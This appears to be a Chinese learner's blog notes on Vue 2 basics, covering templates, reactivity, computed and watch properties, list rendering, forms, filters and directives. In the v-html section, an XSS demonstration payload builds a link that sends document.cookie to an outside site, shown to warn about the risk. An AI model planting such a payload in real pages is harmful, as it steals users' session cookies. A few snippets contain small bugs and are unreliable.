VUE

  • 一、vue基础
    • 1.1 引用
    • 1.2 基础应用
    • 1.3 模板语法
    • 1.4 数据处理
    • 1.5 el与 .$mount
    • 1.6 data的函数式写法
    • 1.7 架构模型——MVVM模型
    • 1.8 数据代理Object.defineproperty
    • 1.9 理解数据代理
    • 1.10 事件处理
      • 1.10.1 参数
      • 1.10.2 this
      • 1.10.3 简写
      • 1.10.4 传参
    • 1.11 事件修饰符
    • 1.12 键盘事件
    • 1.13 *姓名案例
    • 1.14 计算属性
      • 简写(只读不写数据时使用)
    • 1.15 *天气案例
    • 1.16 监视属性watch
      • 简写
    • 1.17 深度监视
      • 1.17.1 监测多级结构中某个属性的变化
      • 1.17.2 监测多级结构中所有属性的变化
    • 1.18 计算&监听(名字案例)
      • only watch can do delay
    • 1.19 绑定class样式
      • 1.19.1 字符串写法
      • 1.19.1数组写法
      • 1.19.3 对象写法
    • 1.20 style样式绑定
    • 1.21 条件渲染
      • 1.21.1 v-show
      • 1.21.2 v-if 、 v-else-if 、 v-else
    • 1.22 列表渲染
      • 1.22.1 遍历数组
      • 1.22.2 遍历对象
    • 1.23 key的作用与原理
    • 1.24 列表过滤
      • 1.24.1用watch实现
      • 1.24.2 用computed实现
    • 1.25 列表排序
    • 1.26 vue监测数据改变的原理
      • 1.26.1监测对象改变
      • 1.26.2监测数组改变
        • * 过滤后新放入一个数组
      • 1.26.3 总结监视数据
    • 1.27 set()
    • 1.28 收集表单数据
    • 1.29 过滤器(时间戳)
      • (2)局部过滤器
      • (2)全局过滤器
    • 1.30 指令
      • v-text指令
      • v-html指令
      • *cookie简略图示
      • v-cloak指令
      • v-once指令
      • v-pre指令
    • 1.31自定义指令
      • 变成全局式指令
      • 函数式
      • 对象式
  • 二、Vue核心
    • 2.1 生命周期(回调函数)
      • * 透明度案例
    • 2.2 组件
      • 2.2.1 非单文件组件 .js
      • (1)组件的嵌套
      • (2)Vuecomponent
      • (3)vue实例与组件实例
      • (4)重要的内置关系
      • 2.2.2 单文件组件 .vue
        • (1) 快速创建
  • 三、vue-cli
    • 3.1 安装应用
    • 3.2 分析vue-cli结构
    • 3.3 ref
    • 3.4 props
    • 2.5 mixin 混入
    • 2.6 plugins插件
    • 2.7 scoped 样式
    • 2.8 less 嵌套
    • * 案例todolist
      • (1)静态准备
      • (2) 添加
        • a、 儿子给父亲传信
      • (3) 勾选
      • (4)删除
      • (5)底部互动
        • (6) 总结
    • 2.9 webStorage
      • 2.9.1 localStorage
        • 创建
        • 读取删除
        • 清空
      • 2.9.2 sessionStorage
    • * todo本地存储
    • 2.10 组件的自定义事件
      • 绑定
      • 解绑
      • 总结
    • * todo子给父传
    • 2.11全局事件总线
    • 2.12消息订阅与发布
    • * todo案例编辑
    • 2.13 nextTick
    • 2.14 css样式
      • (1) 多个元素过渡
      • (2)动画库

常见报错

  1. 没加
  2. 数据外面没有data:{ }包裹

一、vue基础

特点:

  • 采用组件化模式,提高代码复用率,更好维护
  • 声明式编码,无需直接操作DOM,提高开发效率

1.1 引用

<script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>

关闭报错:

1.2 基础应用


<body><div id="fang">hello,{{name}},{{age}}</div><script>new Vue({el:'#fang',data:{name:'haiying'}})</script>
</body>

1.3 模板语法


也就是相当于要读取 url这个变量
v-bind:可简写为:

<body><div id="fang" >hello,{{name}},{{detail.sex}}</div><a v-bind: href="url">dianwo</a><script>new Vue({el:'#fang',url:'https://v2.vuejs.org/v2/guide/deployment.html',data:{name:'haiying',detail:{age:18,sex:'female'}}})</script>
</body>

1.4 数据处理

不是所有标签都能使用v-model,只能用于表单元素

<body><div id="fang">单向绑定 <input type="text" v-bind:value="name">双向绑定 <input type="text" v-model="name"></div><script>new Vue({el:'#fang',data:{name:'haiying'}})</script>
</body>

1.5 el与 .$mount

<body><div id="fang">{{name}}</div><script>const a=new Vue({// el:'#fang',data:{name:'haiying'}})setTimeout(()=>{a.$mount('#fang')  },1000) </script>
</body>

使用¥mount更灵活,上述代码意思为刷新页面1s后,挂载vue实例

1.6 data的函数式写法

这种写法必须有返回值,返回值便是想要的(组件式写法必须用函数式)

  • 可以简写为data(){ }
  • 但是不能写成箭头式,这样的this指向windows,而不是指向vue这个对象
<body><div id="fang">{{name}}</div><script>const a=new Vue({el:'#fang',// data:{//     name:'haiying'// }data:function(){return{name:'haiying'}}})</script>
</body>

1.7 架构模型——MVVM模型




实例中有的属性可以直接在插入模板中使用

<body><div id="fang">{{$options}}</div><script>const a=new Vue({el:'#fang',// data:{//     name:'haiying'// }data:{}})</script>
</body>


1.8 数据代理Object.defineproperty

非直接写有以下效果

<body><script>let person={name:'lucy',sex:'female',}// 给person对象,添加age属性,{}内的为配置项Object.defineProperty(person,'age',{value:18})console.log(person)</script>
</body>

输入 console.log(Object.keys(person))

        for(let i in person){console.log('#',person[i])}


<body><script>let person={name:'lucy',sex:'female',}// 给person对象,添加age属性,{}内的为配置项Object.defineProperty(person,'age',{value:18,enumerable:true //表示可被枚举的})for(let i in person){console.log('#',person[i])}</script>
</body>

当有人读取person的age属性时,get函数就会被调用,且返回值就是age的值

<script>let number=18let person={name:'lucy',sex:'female',}// 给person对象,添加age属性,{}内的为配置项Object.defineProperty(person,'age',{get:function(){console.log('age被读取才会显示age值')return number}})console.log(person)</script>

1.9 理解数据代理

    <script>let obj1={x:100}let obj2={y:200}Object.defineProperty(obj2,'x',{get(){console.log('通过obj2代理,读取obj1的数据')return obj1.x},set(value){obj1.x=value}})</script>







数据劫持=>响应式

1.10 事件处理

<body><div id="fang"><h2>hello,{{name}}</h2><button v-on:click="show">点我提示信息</button></div><script>new Vue({el:'#fang',data:{name:'lucy'},methods:{show(){alert('你好')}}})</script>
</body>

1.10.1 参数

参数就是此事件

1.10.2 this

此处的this就是vm实例
箭头函数的this是window

被vue管理的函数最好写成普通函数,不要写箭头函数

1.10.3 简写


v-on=>@

1.10.4 传参


想传参就加小括号

1.11 事件修饰符

可以连续写

阻止网页跳转的默认行为:

    <body><div id="fang" @click="show"><a @click="show" href="https://mp.csdn.net/mp_blog/creation/success/129392286">blog</a></div><script>new Vue({el:'#fang',data:{name:'lucy'},methods:{show(){alert('点完确定后,会跳转到a链接的网站处')}}})</script>
</body>

阻止冒泡

<body><div id="fang" @click="show"><button @click.stop="show" >blog</button></div><script>new Vue({el:'#fang',data:{name:'lucy'},methods:{show(){alert('因为给div下的button添加了.stop事件修饰符,所以此弹窗只弹一次,不会触及div的冒泡机制')}}})

1.12 键盘事件


key按键名
keyCode按键编码

<body><div id="fang"><input type="text" placeholder="按键盘 输出键名及其编码" @keyup="show"></div><script>new Vue({el:'#fang',methods:{show(e){console.log(e.key,e.keyCode)}}})</script>
</body>

tab键 在按下不抬起时,便可以转移光标(焦点),所以要绑定@keydown.tab

<body><div id="fang"><input type="text" placeholder="按下回车键 提示输入信息" @keyup.enter="show"></div><script>new Vue({el:'#fang',methods:{show(e){console.log(e.target.value)}}})</script>
</body>

按ctrl+y才会输出信息

1.13 *姓名案例

1.插值语法实现

v-model后的相当于变量,变量的内容存在data里<body><div id="fang">姓:<input type="text" v-model="surName" ><br>名:<input type="text" v-model="name"><br>全名:{{surName.slice(0,3)}}-{{name}}</div><script>new Vue({el:'#fang',data:{surName:'吴臭屁屁屁',name:'小平'}})</script>
</body>

2.methods方法实现

    <div id="fang">姓:<input type="text" v-model="surName" ><br>名:<input type="text" v-model="name"><br>全名:{{fullname()}}</div><script>new Vue({el:'#fang',data:{surName:'吴臭屁屁屁',name:'小平'},methods:{fullname(){return this.surName+'-'+this.name}}})

会重新解析模板

1.14 计算属性

<body><div id="fang">姓:<input type="text" v-model="surName" ><br>名:<input type="text" v-model="name"><br>全名:{{fullname}}<br>全名:{{fullname}}<br>全名:{{fullname}}<br>全名:{{fullname}}<br></div><script>const vm=new Vue({el:'#fang',data:{surName:'吴臭屁屁屁',name:'平'},computed:{//fullname是计算属性fullname:{//当有人读取fullname时,get就会被调用,且返回值就作为fullname的值get(){console.log('get被调用了')return this.surName+'-'+this.name}}}})</script>
</body>

  • get被调用的时机:
  • 初次读取fullname时
  • 所依赖的数据发生改变时

<body><div id="fang">姓:<input type="text" v-model="surName" ><br>名:<input type="text" v-model="name"><br>全名:{{fullname}}<br>全名:{{fullname}}<br>全名:{{fullname}}<br>全名:{{fullname}}<br></div><script>const vm =new Vue({el:'#fang',data:{surName:'吴臭屁屁屁',name:'平'},computed:{//fullname是计算属性fullname:{get(){console.log('get被调用了')return this.surName+'-'+this.name},set(value){const arr=value.split('-')this.surName=arr[0]this.name=arr[1]}}}})</script>
</body>

简写(只读不写数据时使用)

<body><div id="fang">姓:<input type="text" v-model="surName" ><br>名:<input type="text" v-model="name"><br>全名:{{fullname}}<!-- 简写形式,即使fullname看起来像函数,后面也不要加小括号以上{{fullname}}实际上表示的是fullname执行后的值 --></div>
</body><script>const vm =new Vue({el:'#fang',data:{surName:'吴臭屁屁屁',name:'平'},computed:{fullname(){// 上面一行代码相当于// fullname:function(){console.log('这一大块就相当于getter,我又被运行啦,运行结果是',this.surName+'-'+this.name)return this.surName+'-'+this.name}}})</script>

1.15 *天气案例

<body><div id="fang"><h2>今天天气很{{wea}}</h2><button @click="changeweather">點我切換天气</button></div>
</body>
<script>
const vm=new Vue({el:'#fang',data:{ishot:true,},computed:{wea(){return this.ishot?'炎热':'凉爽'}},methods: {changeweather(){this.ishot=!this.ishot}}
})
</script>

1.16 监视属性watch

<body><div id="fang"><h2>今天天气很{{wea}}</h2><button @click="changeweather">點我切換天气</button></div>
</body>
<script>
const vm=new Vue({el:'#fang',data:{ishot:true,},computed:{wea(){return this.ishot?'炎热':'凉爽'}},methods: {changeweather(){this.ishot=!this.ishot}},//监视data数据中ishot的值watch:{//要监视的对象ishot:{//当ishot发生改变时,handler被调用handler(a,b){console.log('ishot被修改了',a,b)}}}
})
</script>
body部分不變,script另一種写法<script>
const vm=new Vue({el:'#fang',data:{ishot:true,},computed:{wea(){return this.ishot?'炎热':'凉爽'}},methods: {changeweather(){this.ishot=!this.ishot}},
})
vm.$watch('ishot',{handler(a,b){console.log('ishot被修改了',a,b)}
})

简写

配置项中只含有handler

<script>
const vm=new Vue({el:'#fang',data:{ishot:true,},computed:{wea(){return this.ishot?'炎热':'凉爽'}},methods: {changeweather(){this.ishot=!this.ishot}},watch:{ishot(a,b){console.log('ishot被修改了',a,b)}}
})
</script>
vm.$watch('ishot',function(a,b){
console.log('ishot被修改了',a,b)
})

1.17 深度监视

1.17.1 监测多级结构中某个属性的变化

<body><div id="fang"><h2>a的值是{{numbers.a}}</h2><button @click="numbers.a++">點我让a +1</button></div>
</body>
<script>
const vm=new Vue({el:'#fang',data:{numbers:{a:1,b:1}},computed:{},methods: {},//目的:只监测a,but回调函数不能直接监视a,需要通过numberswatch:{'numbers.a':{handler(){console.log('a的值改变为',this.numbers.a)}}}
})
</script>

1.17.2 监测多级结构中所有属性的变化

    <div id="fang"><h2>a的值是{{numbers.a}}</h2><button @click="numbers.a++">點我让a +1</button><h2>b的值是{{numbers.b}}</h2><button @click="numbers.b++">點我让b +1</button></div>
</body>
<script>
const vm=new Vue({el:'#fang',data:{numbers:{a:1,b:1}},computed:{},methods: {},//目的:只监测a,but回调函数不能直接监视a,需要通过numberswatch:{numbers:{deep:true,handler(){console.log('number改变了')}}}
})
</script>

1.18 计算&监听(名字案例)

<body><div id="fang">姓:<input type="text" v-model="surName" ><br>名:<input type="text" v-model="name"><br>全名:{{fullname}}</div>
</body><script>const vm =new Vue({el:'#fang',data:{surName:'吴臭屁屁屁',name:'平',fullname:'吴臭屁屁屁-平'},watch:{surName(newSur,oldSur){this.fullname=newSur+'-'+this.nameconsole.log(newSur,oldSur)},name(newname,oldname){this.fullname=this.surName+'-'+newnameconsole.log(newname,oldname)}}// computed:{//     fullname(){//         // 上面一行代码相当于//         // fullname:function(){//         console.log('这一大块就相当于getter,我又被运行啦,运行结果是',this.surName+'-'+this.name)//         return this.surName+'-'+this.name//     }// }})</script>

only watch can do delay

计算属性中,不可以开启异步任务

<body><div id="fang">姓:<input type="text" v-model="surName"><br>名:<input type="text" v-model="name"><br>全名:{{fullname}}</div>
</body>
<script>const vm = new Vue({el: '#fang',data: {surName: '吴臭屁屁屁',name: '平',fullname: '吴臭屁屁屁-平'},watch: {surName(newSur, oldSur) {setTimeout(()=>{//此时,箭头函数没有自己的this,只能向外找,找到surName这个普通函数,并且这个surName由vue管理,所以,this指向这个vm实例this.fullname = newSur + '-' + this.nameconsole.log("新值",newSur,"旧值" ,oldSur)}, 1000)// 下面写法页面中的全名不改变// setTimeout(function() {定时器是由js调的,这里的this指向window//     this.fullname = newSur + '-' + this.name//     console.log(newSur, oldSur)// }, 1000)},name(newname, oldname) {this.fullname = this.surName + '-' + newnameconsole.log(newname, oldname)}}})
</script>

1.19 绑定class样式

style部分

<style>.font{color: rgb(205, 215, 241);font-size: 30px;}.border{border-radius: 50px;}.back{background-color: rgb(143, 99, 106);}.shadow{box-shadow: 5px 5px 5px black;}.basic{width: 200px;height: 100px;border: 1px solid black;}.textlocate{text-align: center;}.green{background-color: aquamarine;}</style>

1.19.1 字符串写法

<body><div id="fang"><!-- 加:后,“”中的值为变量 --><div :class="added" class="basic" @click="changeCss">{{name}}</div></div>
</body>
<script>new Vue({el:"#fang",data:{name:'hello Vue',added:''},methods:{changeCss(){//点击后加上指定的样式this.added='textlocate back'}}})
</script>

1.19.1数组写法

<body><div id="fang"><!-- 加:后,“”中的值为变量 --><div :class="addArr" class="basic" @click="changeCss">{{name}}</div></div>
</body>
<script>vm=new Vue({el:"#fang",data:{name:'hello Vue',addArr:['textlocate','font','back','border','shadow']},methods:{changeCss(){//每点击div一次,去掉一个class样式this.addArr.pop()}}})
</script>



添加

1.19.3 对象写法

<body><div id="fang"><!-- 加:后,“”中的值为变量 --><div :class="addObj" class="basic">{{name}}</div></div>
</body>
<script>vm=new Vue({el:"#fang",data:{name:'hello Vue',addObj:{back:true,textlocate:true}}})
</script>

1.20 style样式绑定

对象,数组写法

<body><div id="fang"><!-- 加:后,“”中的值为变量 --><div :style="styObj" class="basic">{{name}}</div></div>
</body>
<script>vm = new Vue({el: "#fang",data: {name: 'hello Vue',styObj:{fontSize:'30px',color:'red',backgroundColor:'blue'// backgroundcolor:'blue' 这个写法是错误的}}})
</script>


数组

<script>vm = new Vue({el: "#fang",data: {name: 'hello Vue',styArr:[{fontSize:'30px',color:'red',backgroundColor:'blue'// backgroundcolor:'blue' 这个写法是错误的},{borderRadius:'20px'}]}})
</script>

1.21 条件渲染

1.21.1 v-show

也就是调整display
两种写法

<body><div id="fang"><h2 v-show="false"> 欢迎~</h2>//写成表达式也可以//<h2 v-show="1!=1"> 欢迎~</h2></div>
</body>
<script>vm = new Vue({el: "#fang",})
</script>
<body><div id="fang"><h2 v-show="a"> 欢迎~</h2></div>
</body>
<script>vm = new Vue({el: "#fang",data:{a:false}})
</script>

1.21.2 v-if 、 v-else-if 、 v-else

直接决定这个元素是否存在
data中的数据发生改变,整个模板重新解析
template包裹元素,不会破坏结构,只能与v-if配合使用

<body><div id="fang"><h2>当前的n值是{{n}}</h2><button @click="n++">点我 n+1</button><template v-if="n===1"><!-- 想让以下三个元素同时出现或者消失,但是不破坏结构 --><h3>n=1时,出现以下内容</h3><h3>hello</h3><h3>vue</h3></template></div></body>
<script>vm = new Vue({el: "#fang",data:{n:0}})
</script>

1.22 列表渲染

想生成谁,就在谁身上放指令


:key让每个li都有唯一的标识
![在这里插入图片描述](https://img-blog.csdnimg.cn/8ec4796819244731a706f80ccab689fe.png

1.22.1 遍历数组

<body><div id="fang"><ul>人员列表<li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li></ul></div></body>
<script>vm = new Vue({el: "#fang",data:{persons:[{id:1,name:'Lucy',age:18},{id:2,name:'Bob',age:19},{id:3,name:'Jack',age:19},]}})
</script>

<body><div id="fang"><ul>人员列表<li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}[{{index}}]</li></ul></div></body>
<script>vm = new Vue({el: "#fang",data:{persons:[{id:1,name:'Lucy',age:18},{id:2,name:'Bob',age:19},{id:3,name:'Jack',age:19},]}})
</script>

1.22.2 遍历对象

<body><div id="fang"><ul>人员信息<li v-for="(value,k) in persons" :key="k">键:{{k}} ——值:{{value}}</li></ul></div></body>
<script>vm = new Vue({el: "#fang",data:{persons:{id:1,name:'Lucy',age:18}}})
</script>


还可以遍历字符串——遍历每个字母
遍历指定次数

1.23 key的作用与原理

index作为key


效率低的原因

id作为key

index为key<body><div id="fang"><button @click="add">点我新增一个人</button> <ul>人员列表<li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}<input type="text"></li></ul></div></body>
<script>vm = new Vue({el: "#fang",data:{persons:[{id:1,name:'Lucy',age:18},{id:2,name:'Bob',age:19},{id:3,name:'Jack',age:19},]},methods:{add(){const newP={id:4,name:'小吴',age:21}//在数组的前面加一个元素this.persons.unshift(newP)}}})
</script>


<li v-for="p in persons" :key="p.id">,不会出现问题

注意不能写成:key="id",否则会报错

1.24 列表过滤

1.24.1用watch实现

<body><div id="fang"><input v-model="keywords" type="text" placeholder="请输入要查询的关键词"><ul>人员列表<br><li v-for="p in filterPersons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {persons: [{ id: 1, name: '小张', age: 18, sex: '女' },{ id: 2, name: '张三', age: 19, sex: '男' },{ id: 3, name: '张张', age: 19, sex: '男' },{ id: 4, name: '三三', age: 18, sex: '女' },{ id: 5, name: '小吴', age: 19, sex: '男' },],keywords: '',filterPersons: []},watch: {//侦听keywords,返回值keyword为输入框更改后的值keywords: {// 自动调用一次handler,若没有下面这条代码,则初始什么都不显示//因为indexOf 什么都不输入 的结果总是0 所以相当于过滤了一次immediate: true,//keyword为输入框更改后的值handler(keyword) {//filter返回的是一个新数组,所有要重新赋值,但是不能直接改原数组,否则会造成数据丢失,越过滤越少this.filterPersons = this.persons.filter((p) => {//选择列表中 与关键词可以匹配的//indexOf方法 返回-1时就是找不到return p.name.indexOf(keyword) !== -1})console.log('value被改成了', keyword)}}}})</script>


1.24.2 用computed实现

注意

<body><div id="fang"><input v-model="keywords" type="text" placeholder="请输入要查询的关键词"><ul>人员列表<br><li v-for="p in filterPersons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {persons: [{ id: 1, name: '小张', age: 18, sex: '女' },{ id: 2, name: '张三', age: 19, sex: '男' },{ id: 3, name: '张张', age: 19, sex: '男' },{ id: 4, name: '三三', age: 18, sex: '女' },{ id: 5, name: '小吴', age: 19, sex: '男' },],keywords: '',},computed:{filterPersons() {//此return是filter'需要返回的return this.persons.filter((p) => {//此return是计算属性需要返回的//直接拿用户输入的值return p.name.indexOf(this.keywords) !== -1})}},})</script>

1.25 列表排序

sort的使用

<body><div id="fang"><input v-model="keywords" type="text" placeholder="请输入要查询的关键词"><button @click="sortType=1">年龄升序</button><button @click="sortType=-1">年龄降序</button><button @click="sortType=0">原顺序</button><ul>人员列表<br><li v-for="p in filterPersons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {persons: [{ id: 1, name: '小张', age: 18, sex: '女' },{ id: 2, name: '张三', age: 23, sex: '男' },{ id: 3, name: '张张', age: 19, sex: '男' },{ id: 4, name: '三三', age: 18, sex: '女' },{ id: 5, name: '小吴', age: 21, sex: '男' },],keywords: '',sortType:0},computed:{filterPersons() {//注意排序时,不要着急返回//先把过滤了关键词的保到一个数组中const arr= this.persons.filter((p) => {//此return是计算属性需要返回的//直接拿用户输入的值return p.name.indexOf(this.keywords) !== -1})//判断是否需要排序,如下,意为sortType!==0if(this.sortType){//对过滤好的数组进行排序arr.sort((a,b)=>{//当sortType不等于0时,1为升序,其他为降序(-1)return this.sortType===1?a.age-b.age:b.age-a.age})}//返回排好序的return arr}},})</script>

1.26 vue监测数据改变的原理

<body><div id="fang"><button @click="updateL">点我更新lucy的数据</button><ul>人员列表<li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li></ul></div></body>
<script>vm = new Vue({el: "#fang",data:{persons:[{id:1,name:'Lucy',age:18},{id:2,name:'Bob',age:19},{id:3,name:'Jack',age:19},]},methods:{updateL(){// this.persons[0].name='L-Lucy'// this.persons[0].age=22//下面这个方法实现,在页面上不奏效this.persons[0]={name:'L-lucy',age:22}}}})
</script>

解决方法

1.26.1监测对象改变



会为每个对象都配置setter和getter,不论是嵌套里面的还是数组里面的

1.26.2监测数组改变

不给数组添加set,get,所以数组里的数据改变,不是响应式,无法影响到页面

只有能够影响到原数组的方法被调用,才可以检测到数据变化

<body><div id="fang">学生信息:<button @click="addSex">点我 添加性别属性</button><br>姓名:{{stu.name}}<br>年龄:{{stu.age}}<br><span v-if="stu.sex">性别:{{stu.sex}}</span><ul>爱好1:<li v-for="(h1,index) in stu.hobby1" :key="index">{{h1}}</ul><ul>爱好2:<li v-for="(h2,index) in stu.hobby2" :key="index">{{h2}}</ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {stu: {name: '张三三',age: 18,// hobby1:{//     h1:'看书',//     h2:'刷视频',//     h3:'运动',// },hobby2:['看书','刷视频','运动']}},methods:{addSex(){Vue.set(this.stu,'sex','女')}}})
</script>

我们刚刚调用的push,pop已经不是 原来的数组原型

里的了

* 过滤后新放入一个数组

1.26.3 总结监视数据

按要求自己写的

<body><div id="fang">学生信息:<br><button @click="addAge">年龄加1</button><button @click="addSex">添加性别:男</button><button @click="addFri">在列表首位添加一个朋友</button><br><button @click="addHob">添加一个爱好</button><button @click="reHob">修改第一个爱好为:开车</button><br>姓名:{{stu.name}}<br>年龄:{{stu.age}}<br><span v-if="n===1">性别:{{stu.sex}}</span><br><ul>爱好:<li v-for="(h,index) in stu.hobby" :key="index">{{h}}</ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {stu: {name: '张三三',age: 18,hobby:['看书','刷视频','运动']},n:'',},methods:{addAge(){this.stu.age++},addSex(){this.n=1Vue.set(vm.stu,'sex','男')},addFri(){this.stu.hobby.unshift('张三')},addHob(){this.stu.hobby.push('学习')},reHob(){this.stu.hobby.splice(0,1,'开车')}}})
</script>

数据监测练习

修改完善后的

<body><div id="fang">学生信息:<br><button @click="addAge">年龄加1</button><button @click="addSex">添加性别:男</button><button @click="addFri">在列表首位添加一个朋友</button><br><button @click="updateFri">修改最后一个朋友信息</button><button @click="addHob">添加一个爱好</button><button @click="reHob">修改第一个爱好为:开车</button><br>姓名:{{stu.name}}<br>年龄:{{stu.age}}<br><!-- 不用专设置一个数据,直接用stu.sex当,只要是真,就可以 --><!-- <span v-if="n===1">性别:{{stu.sex}}</span> --><span v-if="stu.sex">性别:{{stu.sex}}</span><br><ul>爱好:<li v-for="(h,index) in stu.hobby" :key="index">{{h}}</ul><ul>朋友:<li v-for="(f,index) in stu.friend" :key="index"><!-- 注意,这里不能直接写{{f}} -->{{f.name}}-{{f.age}}</ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {stu: {name: '张三三',age: 18,hobby: ['看书', '刷视频', '运动'],friend: [{ name: 'lucy', age: 18 },{ name: 'jack', age: 19 }]},},methods: {addAge() {this.stu.age++},addSex() {// this.n=1// Vue.set(vm.stu,'sex','男')Vue.set(this.stu, 'sex', '男')},addFri() {//这时新加的对象也是响应式的this.stu.friend.unshift({ name: '小new', age: 6 })},//尽管friend是数组数据类型//修改朋友信息,此时friend内的元素是对象数据类型,所有接下来可以直接改updateFri(){this.stu.friend[this.stu.friend.length-1].name='吴臭屁'},addHob() {this.stu.hobby.push('学习')},reHob() {//切片再添加// this.stu.hobby.splice(0, 1, '开车')//根据set(),加上索引值,直接改Vue.set(this.stu.hobby,0,'开车')this.$set(this.stu.hobby,0,'开车')}}})
</script>

数据监测练习2

1.27 set()

使后续添加的数据也具有响应式功能

!!!!
Vue.set(vm.stu,'sex','女')也就是Vue.set(vm._data.stu,'sex','女'),这是 数据代理的原因

<body><div id="fang">学生信息:<button @click="addSex">点我 添加性别属性</button><br>姓名:{{stu.name}}<br>年龄:{{stu.age}}<br><span v-if="stu.sex">性别:{{stu.sex}}</span><ul>朋友:<li v-for="f in stu.friends" :key="f.name">{{f.name}}-{{f.age}}</li></ul></div>
</body>
<script>vm = new Vue({el: "#fang",data: {stu: {name: '张三三',age: 18,friends:[{name:'lucy',age:18},{name:'jack',age:19},]}},methods:{addSex(){Vue.set(this.stu,'sex','女')}}})
</script>

只能添加data里的对象的对象,这一层级

1.28 收集表单数据

<body>
<div id="fang"><!-- 点击提交按钮后,阻止跳转页面的默认行为 --><form @submit.prevent="sub"><!-- 下面一行label标签的意思是,点击“账号”文字时,输入框也会获取光标 --><label for="account">账号:</label><input type="text" id="account" v-model="account"><br>密码:<input type="password" v-model="password"><br>性别:<!-- name属性控制这两个选择中 只能选一个 --><input type="radio" name="sex" v-model="sex" value="male"><input type="radio" name="sex" v-model="sex" value="female"><br><!-- type="number"限制输入框只能输入数字 --><!-- v-model.number控制输出结果为数字,而不是字符串 -->年龄:<input type="number" v-model.number="age"><br>爱好:学习<input type="checkbox" v-model="hobby" value="study">读书<input type="checkbox" v-model="hobby" value="read">吃饭<input type="checkbox" v-model="hobby" value="eat"><br>校区:<select title="1" v-model="city"><option value="北京">北京</option><option value="杭州">杭州</option><option value="苏州">苏州</option><option value="徐州">徐州</option></select><br>其他信息:<br><textarea cols="30" rows="10" v-model="other"></textarea><br><input type="checkbox" v-model="agree"> 阅读并接受<a href="">《用户协议》</a><button>submit</button></form>
</div>
</body>
<script>
new Vue({el:'#fang',data:{account:'',password:'',sex:'male',// hobb的初始值影响data里的数据类型hobby:[],city:'',other:'',age:'',agree:true},methods:{sub(){console.log(JSON.stringify(this._data))}}
})
</script>


1.29 过滤器(时间戳)

应用于

(2)局部过滤器

cdn引入dayjs


<template>
<div>{{ a|turnAtoB}}
</div> </template><script>export default {data(){return{a:'123'}},filters: {turnAtoB(value) {return 'hello'},},
}
</script>



将filter部分中的内容改为,且对应输出{{ a|turnAtoB |myslice}}

filters: {turnAtoB(value) {return 'hello'},myslice(val){return val.slice(0,3)}},

输出结果为

(2)全局过滤器

Vue.filter('myslice',function(value){return val.slice(0,3)
})

1.30 指令

v-text指令

<body>
<div id="fang" v-text="name"></div>
</body>
<script>
new Vue({el:'#fang',data:{name:'hello'}
})
</script>

内置指令——拿过来直接可以用的v-on,v-bind

v-html指令

支持结构的解析

<body>
<div id="fang" v-html="name"></div>
</body>
<script>
new Vue({el:'#fang',data:{name:'<h3>哈哈哈</h3>'}
})
</script>

*cookie简略图示


不可跨浏览器读cookie
cookie就相当于一个人的身份标识

xss冒充用户杀手

<body>
<div id="fang" v-html="str"></div>
</body>
<script>
new Vue({el:'#fang',data:{str:'<a href=javascript:location.href="http://www.chaoxing.com/?"+document.cookie>快点我!!!</a>'}
})
</script>

v-cloak指令

<body>
<div id="fang">{{name}}</div>
</body>
<script>
new Vue({el:'#fang',data:{name:'{{hello vue}}'}
})
</script>

在vue实例接管容器的一瞬间,v-cloak就会被删掉

以下代码效果:不让未经解析的模板跑到页面上
<style>[v-cloak] {display: none;}</style>
</head><body><div v-cloak id="fang">{{name}}</div>
</body>
<script>new Vue({el: '#fang',data: {name: '{{hello vue}}'}})
</script>

v-once指令

<body><div  id="fang"><div v-once>初始化n的值为:{{n}}</div><div>当前的n的值为:{{n}}</div><button @click="n++">点我n++</button></div>
</body>
<script>new Vue({el: '#fang',data: {n: '1'}})
</script>


v-pre指令

用于给普通节点加,加快效率

因为 <div v-pre>当前的n的值为:{{n}}</div>使用了v-pre所以不再解析这个模板,页面呈现如下

与事件修饰符.once 不同


1.31自定义指令

directives里的this都是指向windows’的

指令中含有多个字母时,用-链接,写函数时,要用‘’包裹
>

'fbind’不加双引号一直是我们的简写形式

变成全局式指令


<body><div  id="fang">当前的值为: <span v-text="n"></span><!-- 使用自定义指令 --><br><button @click="n++">点我n+1</button><br><input type="text" v-fbind:value="n"></div><div id="hai"><input type="text" v-fbind:value="x"></div>
</body>
<script>Vue.directive('fbind',{bind(elem,binding){//指令与元素绑定成功时elem.value=binding.valueconsole.log('bind指令与元素绑定成功')},//指令所在元素被插入页面时inserted(elem,binding){//使页面刷新后,焦点在输入框上elem.focus()},update(elem,binding){//指令所在元素被重新解析时elem.value=binding.valueconsole.log('按钮被按下,n值更新啦')}})new Vue({el: '#fang',data:{n:1,},})new Vue({el: '#hai',data:{x:1,},})
</script>

函数式

弊端:不能处理细节问题

<body><div  id="fang">当前的值为: <span v-text="n"></span><br>放大十倍后的值为: <span v-big:value="n"></span><!-- 使用自定义指令 --><br><button @click="n++">点我n+1</button><br></div>
</body>
<script>new Vue({el: '#fang',data:{n:1,},//定义指令需要的配置项directivesdirectives:{big(elem,binding){elem.innerText=binding.value*10}}})
</script>

对象式

需要判断 调用的时机

n值改变,整个模板会重新解析
函数式写法无法满足此要求

<body><div  id="fang">当前的值为: <span v-text="n"></span><!-- 使用自定义指令 --><br><button @click="n++">点我n+1</button><br><input type="text" v-fbind:value="n"></div>
</body>
<script>new Vue({el: '#fang',data:{n:1,},//定义指令需要的配置项directivesdirectives:{fbind:{bind(elem,binding){//指令与元素绑定成功时elem.value=binding.valueconsole.log('bind指令与元素绑定成功')},//指令所在元素被插入页面时inserted(elem,binding){//使页面刷新后,焦点在输入框上elem.focus()},update(elem,binding){//指令所在元素被重新解析时elem.value=binding.valueconsole.log('按钮被按下,n值更新啦')}}}})
</script>

二、Vue核心

2.1 生命周期(回调函数)


